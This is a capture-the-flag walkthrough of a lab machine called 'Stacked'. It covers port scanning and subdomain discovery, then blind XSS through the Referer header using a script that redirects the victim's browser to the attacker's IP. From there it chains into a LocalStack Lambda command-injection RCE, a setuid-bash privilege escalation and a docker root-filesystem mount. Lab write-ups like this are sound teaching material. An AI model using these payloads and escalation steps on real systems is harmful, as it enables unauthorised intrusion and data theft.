Stacked
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 3000 10.129.228.28
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 04:06 EDT
Nmap scan report for 10.129.228.28
Host is up (0.0074s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2376/tcp open dockerDetailed scan:
$ nmap -p 80,2376 -sC -sV --min-rate 3000 10.129.228.28
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 04:09 EDT
Nmap scan report for 10.129.228.28
Host is up (0.014s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://stacked.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
2376/tcp open ssl/docker?
| ssl-cert: Subject: commonName=stacked
| Subject Alternative Name: DNS:localhost, DNS:stacked, IP Address:0.0.0.0, IP Address:127.0.0.1, IP Address:172.17.0.1
| Not valid before: 2022-08-17T15:41:56
|_Not valid after: 2025-05-12T15:41:56
Service Info: Host: stacked.htbAdded stacked.htb to the /etc/hosts file based on the nmap scan results.
Web Enum
Port 80 just shows a basic count down page:

When I was about to do a wfuzz scan, I noticed something rather weird:
For some reason, the length of the result is dependent on the sub-domain. Anyways, when filtering results by line length using the --hl 9 flag, I found a portfolio subdomain.
The portfolio page was promoting 'LocalStack Development':

In the About section, there's an option to download a file:

Here's the contents of the file:
This localstack software was probably running on the machine, and there must be a method to access it.
There was a form on the page, and submitting it sends this request:

So this page is PHP based. I ran gobuster on this to enumerate some directories:
I found it particularly weird that the form actually sent a request. Most of the time, these machines have static forms that do nothing.
Finding XSS -> Mail Subdomain
There was no other endpoint on this website, and I ran out of ideas. As such, I focused on entering random payloads in this form field.
Eventually I found that XSS was being checked for:

This could mean a simulated user was looking at my messages, and I have to find a way to bypass this (I literally had no other leads). Sending it still didn't work:

I was stuck here for really long. I could not bypass this weird check in any way. I thought about the fact that this process.php might be storing more than the actual message. It might be storing some additional information about the sender through the different HTTP headers.
I replaced the some of the HTTP headers with <script>document.location="http://10.10.14.18/hiiamxss_HEADERNAME"</script>. I did this for the User-Agent, Origin and Referer headers (the only ones without erroring out).
After a bit, I got a hit on my Python HTTP server:

The Referer header is vulnerable! Using this, I can now create a script to automate this.
Using the above, I can start to steal pages from the ports within the docker-compose.yml file.
First, I had the machine retrieve my page so I could see the headers. The page mentioned using XMLHttpRequest, so I used just that:
I started a listener port on port 8000, and this is the output from the request:
There was a mail.stacked.htb domain!
Mail Enum -> S3 Bucket
I started to enumerate this instance by retrieving the page contents using this Python HTTP server for POST requests:
Here's the script I used to retrieve the page contents:
The output from this was a HTML page for an AdminLTE3 mailbox:

Interesting! I also noted that in the initial request, I saw the Referer header was set to http://mail.stacked.htb/read-mail.php?id=2. I changed the URL to make have the id parameter set to 1, and stole the page.
There was this interesting chunk here:

AWS Lambda RCE
There were some AWS terms in the docker-compose.yml like LAMBDA_EXECUTOR and SERVICES=serverless.
I went to read more about all of these, and found that for AWS, serverless means there is no infrastructure to be handled. Lambdas are a serverless, event-driven compute service used to run code without managing servers. From this, it appears abusing Lambdas is the next step.
In the documentation linked above, there are steps. First, I used their example file:
Then, zip this to create a deployment package:
Then use create-function to create the function.
The box did not have nodejs20.x, so I replaced it with nodejs12.x which was present.
This function can be invoked using the invoke command:
However, there was nothing I could do with this! The machine was serverless, so the container run would die after a few seconds.
Localstack + AWS -> RCE
So now I know I can at least run Javascript somewhere on the machine. Researching for LocalStack RCE exploits returned these 2 pages:
In short, there's an RCE exploit in the dashboard, which I assume is running on port 8080 based the docker-compose.yml file.
The specific vulnerability lies in the functionName parameter, which is taken fron the name of the Lambda function executed. To exploit this, I have to specify a malicious function name within the AWS instance.
This is triggered from loading the dashboard, so I can change the initial XSS payload to just visit http://127.0.0.1:8080 instead of loading a remote script via document.location.
Based on the SonarSource blog, the payload is just the command to be executed:
To exploit this, I created a new function:
The ping command is used for making sure it works. Afterwards, I made the site visit http://127.0.0.1:8080 via XSS, and I got a shell!

I can then grab the user flag from /home/localstack.
Privilege Escalation
Lambda Processes -> Container Root
This container did not have anything useful within it. I ran pspy64 and the processes created when I used aws for the initial RCE:
I noticed that there was a .zip file created.
When I invoked my function, it would do a few more commands that were pretty long.
The above simply created a Docker container in a subshell, and I was looknig for things ICould control. index.handler was the one input I could change.
As such, I created a function with chmod u+s /bin/bash appended to the back since the index.handler string was already in a subshell.
Afterwards, I could become root:

Docker -> Root File Access
The main thing I wanted to enumerate first was docker, since this container was spawning other containers. It might be possible that it had an image for the machine with the flag in it.
As root, I can use it to view the current running containers and images present:
I checked each of them, and found that localstack-full was the correct one to use.
Now, I could execute commands on it, and I had mounted the root file directory at /mnt, allowing me to grab the flag:

Using this, I could ssh into the machine as root since I had access to the root user's .ssh directory:

Rooted!
Last updated